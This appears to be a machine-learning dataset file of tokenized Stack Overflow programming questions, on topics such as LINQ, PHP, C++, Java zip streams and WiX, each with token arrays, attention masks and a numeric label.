[ 2, 92, 42, 12360, 21, 8247, 1248, 26, 1876, 13, 5, 290, 2879, 1174, 6, 272, 18, 710, 6488, 60, 800, 3726, 3726, 92, 42, 12360, 21, 8247, 1248, 26, 1876, 15, 2017, 18, 68, 15, 7394, 1880, 17, 13305, 11295, 19, 21, 11951, 58, 41...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How do I use SQL's GETDATE() and DATEADD() in a Linq to SQL expression? === If I have a Linq to SQL expression like this: from subscription in dbContext.Subscriptions where subscription.Expires > DateTime.Now select subscription I want this to to use the SQL Servers GETDATE() function instead of the time of the machine running the C# program. The next question would be how to translate DateTime.Now.AddDays(2) to DATEADD(dd, 2, GETDATE())
0
[ 2, 184, 107, 31, 275, 4444, 255, 22, 18, 164, 8209, 5, 6, 17, 1231, 14854, 5, 6, 19, 21, 6294, 1251, 20, 4444, 255, 1803, 60, 800, 3726, 3726, 100, 31, 57, 21, 6294, 1251, 20, 4444, 255, 1803, 101, 48, 45, 37, 14213, 19, 13,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Best case to move to an agile development methodology? === If you had to make a case to a business about adopting or moving to an agile development methodology (like SCRUM or XP etc) what case would you make (how do you sell the concept)? e.g. <li>How would you describe the concepts and benefits to a non-technical person?</li> <li>If you have successfully done so, what was the winning argument/case/rationale?</li>
0
[ 2, 246, 610, 20, 780, 20, 40, 27475, 522, 18653, 60, 800, 3726, 3726, 100, 42, 41, 20, 233, 21, 610, 20, 21, 508, 88, 17577, 54, 1219, 20, 40, 27475, 522, 18653, 13, 5, 1403, 26562, 54, 23045, 2722, 6, 98, 610, 83, 42, 233, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How to change registration company name for Visual Studio 2008? === Is there a way to change name of company to which the Visual Studio 2008 is registered without reinstalling it?
0
[ 2, 184, 20, 753, 8587, 237, 204, 26, 3458, 1120, 570, 60, 800, 3726, 3726, 25, 80, 21, 161, 20, 753, 204, 16, 237, 20, 56, 14, 3458, 1120, 570, 25, 3801, 366, 7102, 21300, 68, 32, 60, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
Are PHP short tags acceptable to use? === Here's the info [according to the official documentation][1]: > There are four different pairs of > opening and closing tags which can be > used in php. Two of those, < ? php ?> > and < script language="php"> < /script>, > are always available. The other two > are short tags and ASP style tags, and > can be turned on and off from the > php.ini configuration file. As such, > while some people find short tags and > ASP style tags convenient, they are > less portable, and **generally not > recommended**. In my experience most servers *do* have short tags enabled. Typing <?= is far more convenient than typing <?php echo The programmers convenience is an important factor, so **why** are they not recommended? [1]: http://www.php.net/manual/en/language.basic-syntax.php
0
[ 2, 50, 13, 26120, 502, 3383, 18, 12513, 20, 275, 60, 800, 3726, 3726, 235, 22, 18, 14, 15404, 636, 18821, 20, 14, 989, 13945, 500, 2558, 165, 500, 45, 13, 1, 80, 50, 222, 421, 7473, 16, 13, 1, 1214, 17, 4239, 3383, 18, 56, 9...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Looking for a room booking/hire calendar control for asp.net === I'm looking to implement a room booking calendar using ASP.net. Before I go coding the whole thing myself I thought I'd ask to see if anyone knows of any good free or commercial components that do the following. Display a calendar in month view with the ability to colour code specific days to denote full, partial or no availability. Click on a specific day to see a day view which would then display hourly availability (again colour coded available/not available) with the option to then click "Book now" beside available hours. Ideally this would be based on icalendar or some decent standard. It doesn't need to fancy ajax enabled or anything. Any help greatly appreciated. Ed
0
[ 2, 699, 26, 21, 337, 360, 68, 118, 1822, 99, 7036, 569, 26, 28, 306, 9, 2328, 800, 3726, 3726, 31, 22, 79, 699, 20, 8713, 21, 337, 360, 68, 7036, 568, 28, 306, 9, 2328, 9, 115, 31, 162, 13, 15458, 14, 979, 584, 992, 31, 28...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How can I make sure a background image displays before the page loads? === Is there a way to make sure a (large, 300K) background picture is always displayed first BEFORE any other content is shown on the page? On the server we have access to PHP.
0
[ 2, 184, 92, 31, 233, 562, 21, 2395, 1961, 9412, 115, 14, 2478, 19069, 60, 800, 3726, 3726, 25, 80, 21, 161, 20, 233, 562, 21, 13, 5, 11312, 15, 3565, 197, 6, 2395, 2151, 25, 550, 6115, 64, 115, 186, 89, 2331, 25, 1721, 27, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0...
How Google Desktop Search manages to stay light and fast === I always wondered what different methods Google Desktop Search is using so that it uses least CPU and memory while indexing a computer containing more 100,000 files on an average. In just few hours it has indexed the whole system and I did not see it eating up my CPU, memory etc. If any of you have done some research, please do share.
0
[ 2, 184, 8144, 17404, 2122, 9118, 20, 1179, 471, 17, 1512, 800, 3726, 3726, 31, 550, 3519, 98, 421, 3195, 8144, 17404, 2122, 25, 568, 86, 30, 32, 2027, 639, 17578, 17, 1912, 133, 4348, 68, 21, 1428, 3503, 91, 9600, 6488, 27, 40, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
VisualC++ 6.0 with unsigned long long and sprintf === i want to sprintf() an unsigned long long value in visual C++ 6.0 (plain C). i declare the value as unsigned __int64 sprintf(buf, "%lli, %s", verylongvalue, additionaltext); does not print the right thing. something like "4543325, (null)". any suggestions
0
[ 2, 3458, 150, 20512, 400, 9, 387, 29, 28839, 175, 175, 17, 6672, 410, 800, 3726, 3726, 31, 259, 20, 6672, 410, 5, 6, 40, 28839, 175, 175, 1923, 19, 3458, 272, 20512, 400, 9, 387, 13, 5, 9897, 108, 272, 6, 9, 31, 10123, 14, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Multi page forms in Rails === I'm having a quite complex model with many fields, `has_many` associacions, images added by `image_column` etc... New object will be added by multi page form (8 steps) - how shoud I accomplish validation and propagation between those steps? I think `validation_group` could be useful for defining validations for each step, what about overall design?
0
[ 2, 1889, 2478, 1997, 19, 2240, 18, 800, 3726, 3726, 31, 22, 79, 452, 21, 1450, 1502, 1061, 29, 151, 2861, 15, 13, 1, 6482, 1, 14842, 1, 28, 18, 16325, 13911, 18, 15, 3502, 905, 34, 13, 1, 22039, 1, 716, 4404, 103, 1, 2722, 9...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
setting the byte order marker === I know this is not a "real" programming question. But, it relates to programming so I am going to set it anyway. I have a program that I need to test that reads the Byte Order Marker of the file to see if it is utf-8 or utf-16. My problem is I cannot find a program/text editor that will allow me to set the byte order marker. Can anybody tell me how to set this in a text file?
0
[ 2, 2697, 14, 34, 591, 389, 13289, 800, 3726, 3726, 31, 143, 48, 25, 52, 21, 13, 7, 7467, 7, 3143, 1301, 9, 47, 15, 32, 16429, 20, 3143, 86, 31, 589, 228, 20, 309, 32, 2774, 9, 31, 57, 21, 625, 30, 31, 376, 20, 1289, 30, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How to use Special Chars in Java/Eclipse === How can I use/display characters like ♥, ♦, ♣, or ♠ in Java/Eclipse? Wenn I try to use them directly, i.e. in the source code, Eclipse cannot save the file: ![Save Problems][1] What can I do? [1]: http://img220.imageshack.us/img220/1292/cp1252vn6.jpg
0
[ 2, 184, 20, 275, 621, 4892, 18, 19, 8247, 118, 3319, 6013, 870, 800, 3726, 3726, 184, 92, 31, 275, 118, 2906, 5438, 1766, 101, 13, 1, 15, 13, 1, 15, 13, 1, 15, 54, 13, 1, 19, 8247, 118, 3319, 6013, 870, 60, 95, 9377, 31, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Most interesting non-mainstream language? === I'm interested in compilers, interpreters and languages. What is the most interesting, but forgotten or unknown, language you know about? And more importantly, why? I'm interested both in compiled, interpreted and VM languages, but _not_ esoteric languages like Whitespace or BF. <br>Open source would be a plus, of course, since I plan to study and hopefully learn from it.
4
[ 2, 127, 4883, 538, 8, 6232, 11260, 816, 60, 800, 3726, 3726, 31, 22, 79, 3158, 19, 21486, 18, 15, 19336, 18, 17, 2556, 9, 98, 25, 14, 127, 4883, 15, 47, 5562, 54, 2562, 15, 816, 42, 143, 88, 60, 17, 91, 16922, 15, 483, 60, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Resizing XAML properties === Is there a way to have XAML properties scale along with the size of the uielements they belong to? In essence, I have a control template that I have created too large for it's use/ mainly because I want to use the same control with different sizes. The problem is that I can set the control size to Auto (in the ControlTemplate), however the properties of the intrisic template elements aren't resized: eg StrokeThickness remains at 10 while it should become 1. It works fine when I apply a ScaleTransform on the template, but that results in a control that's too small when it's actually used: the width/height=Auto resizes the control to the proper size *and then* the scaletransform is applied. So I'm stuff with a sort of nonscalable control. I'm a bit new to WPF, so there might be a straightforward way to do this...
0
[ 2, 10719, 3335, 13, 6791, 8184, 3704, 800, 3726, 3726, 25, 80, 21, 161, 20, 57, 13, 6791, 8184, 3704, 3464, 303, 29, 14, 1072, 16, 14, 13, 5661, 27567, 18, 59, 6219, 20, 60, 19, 11887, 15, 31, 57, 21, 569, 22894, 30, 31, 57, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Essential techniques for pinpointing missing requirements? === An initial draft of requirements specification has been completed and now it is time to take stock of requirements, [review the specification][1]. Part of this process is to make sure that there are no sizeable gaps in the specification. Needless to say that the gaps lead to highly inaccurate estimates, inevitable scope creep later in the project and ultimately to a death march. **What are the good, efficient techniques for pinpointing missing and implicit requirements?** - missing requirements is anything crucial for completeness of the product or service but not thought of or forgotten about, - Implicit requirements are something that users or customers naturally assume is going to be a standard part of the software without having to be explicitly asked for. [1]: http://stackoverflow.com/questions/186716/when-reviewing-requirements-specification-what-deadly-sins-need-to-be-addressed <sub>I am happy to re-visit accepted answer, as long as someone submits better, more comprehensive solution.</sub>
0
[ 2, 5832, 4212, 26, 27446, 68, 2863, 4786, 60, 800, 3726, 3726, 40, 2104, 2472, 16, 4786, 14177, 63, 74, 1066, 17, 130, 32, 25, 85, 20, 247, 2070, 16, 4786, 15, 636, 99, 4725, 14, 14177, 500, 2558, 165, 500, 9, 141, 16, 48, 953...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Get full path of executable of running process on HPUX... === I want to get the full path of the running process (executable) without having root permission using C++ code. Can someone suggest a way to achieve this. on Linux platforms i can do it by using following way. char exepath[1024] = {0}; char procid[1024] = {0}; char exelink[1024] = {0}; sprintf(procid, "%u", getpid()); strcpy(exelink, "/proc/"); strcat(exelink, procid); strcat(exelink, "/exe"); readlink(exelink, exepath, sizeof(exepath)); Here exepath gives us the full path of the executable. Similarly for windows we do it using GetModuleFileName(NULL, exepath, sizeof(exepath)); /* get fullpath of the service */ Please help me how to do it on HP-UX since there is no /proc directory in HP-UX.
0
[ 2, 164, 503, 2013, 16, 1396, 17194, 5924, 16, 946, 953, 27, 5301, 7147, 9, 9, 9, 800, 3726, 3726, 31, 259, 20, 164, 14, 503, 2013, 16, 14, 946, 953, 13, 5, 1706, 17194, 5924, 6, 366, 452, 5900, 5572, 568, 272, 20512, 1797, 9, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How can I unpack binary hex formatted data in Python? === Using the PHP [pack()][1] function, I have converted a string into a binary hex representation: $string = md5(time); // 32 character length $packed = pack('H*', $string); The H* formatting means "Hex string, high nibble first". To unpack this in PHP, I would simply use the [unpack()][2] function with the H* format flag. How would I unpack this data in Python? [1]: http://www.php.net/pack [2]: http://www.php.net/unpack
0
[ 2, 184, 92, 31, 367, 8573, 14171, 24, 396, 13, 29850, 1054, 19, 20059, 60, 800, 3726, 3726, 568, 14, 13, 26120, 636, 8573, 5, 6, 500, 2558, 165, 500, 1990, 15, 31, 57, 3494, 21, 3724, 77, 21, 14171, 24, 396, 5442, 45, 5579, 11...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
WiX script with only Welcome and Completed screens === I need a WiX 3 script to display to display only 2 dialogs: Welcome & Completed. Thats it no need for EULA, folder selection etc. All help appreciated.
0
[ 2, 4807, 396, 3884, 29, 104, 5575, 17, 1066, 14236, 800, 3726, 3726, 31, 376, 21, 4807, 396, 203, 3884, 20, 3042, 20, 3042, 104, 172, 28223, 18, 45, 5575, 279, 1066, 9, 30, 18, 32, 90, 376, 26, 2898, 531, 15, 19294, 3155, 2722, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
How do I split strings? === How do I split strings in J2ME in an effective way? There is a `StringTokenizer` in the standard edition, but it is absent in the micro edition.
0
[ 2, 184, 107, 31, 2132, 7887, 60, 800, 3726, 3726, 184, 107, 31, 2132, 7887, 19, 487, 135, 790, 19, 40, 3140, 161, 60, 80, 25, 21, 13, 1, 11130, 262, 2853, 11907, 1, 19, 14, 1236, 1322, 15, 47, 32, 25, 8509, 19, 14, 2899, 132...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
Influences the buffer size while creating a .zip in Java === i use this code to create a .zip with a list of files: ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile)); for (int i=0;i<srcFiles.length;i++){ String fileName=srcFiles[i].getName(); ZipEntry zipEntry = new ZipEntry(fileName); zos.putNextEntry(zipEntry); InputStream fis = new FileInputStream(srcFiles[i]); int read; for(byte[] buffer=new byte[1024];(read=fis.read(buffer))>0;){ zos.write(buffer,0,read); } fis.close(); zos.closeEntry(); } zos.close(); and i wonder: idon't know how the zip algorithm and the ZipOutputStream works, if it writes something before i read and send to 'zos' all the data, the result file can be different in size and in bytes than if i choose another buffer size. in other words i dont know if the algorithm is like: READ DATA-->PROCESS DATA-->CREATE .ZIP or READ CHUNK OF DATA-->PROCESS CHUNK OF DATA-->WRITE CHUNK IN .ZIP-->| ^----------------------------------------------------------------------------------------------------------------------------- And... if this is the case... what buffer size is the best?
0
[ 2, 8200, 14, 17497, 1072, 133, 2936, 21, 13, 9, 2553, 306, 19, 8247, 800, 3726, 3726, 31, 275, 48, 1797, 20, 1600, 21, 13, 9, 2553, 306, 29, 21, 968, 16, 6488, 45, 12133, 1320, 4881, 11260, 9017, 18, 800, 78, 12133, 1320, 4881, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[LINQ] EntitySet vs Table === In a LINQ to SQL class, why are the properties that are created from the foreign keys <code>EntitySet</code> objects, which implement <code>IEnumerable</code>, where as the objects on the <code>DataContext</code> are <code>Table</code> objects which implement <code>IQueryable</code>?
0
[ 2, 636, 1226, 1251, 500, 9252, 3554, 4611, 859, 800, 3726, 3726, 19, 21, 6294, 1251, 20, 4444, 255, 718, 15, 483, 50, 14, 3704, 30, 50, 679, 37, 14, 1228, 5534, 13, 1, 9375, 1, 2291, 856, 3554, 1, 118, 9375, 1, 3916, 15, 56, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
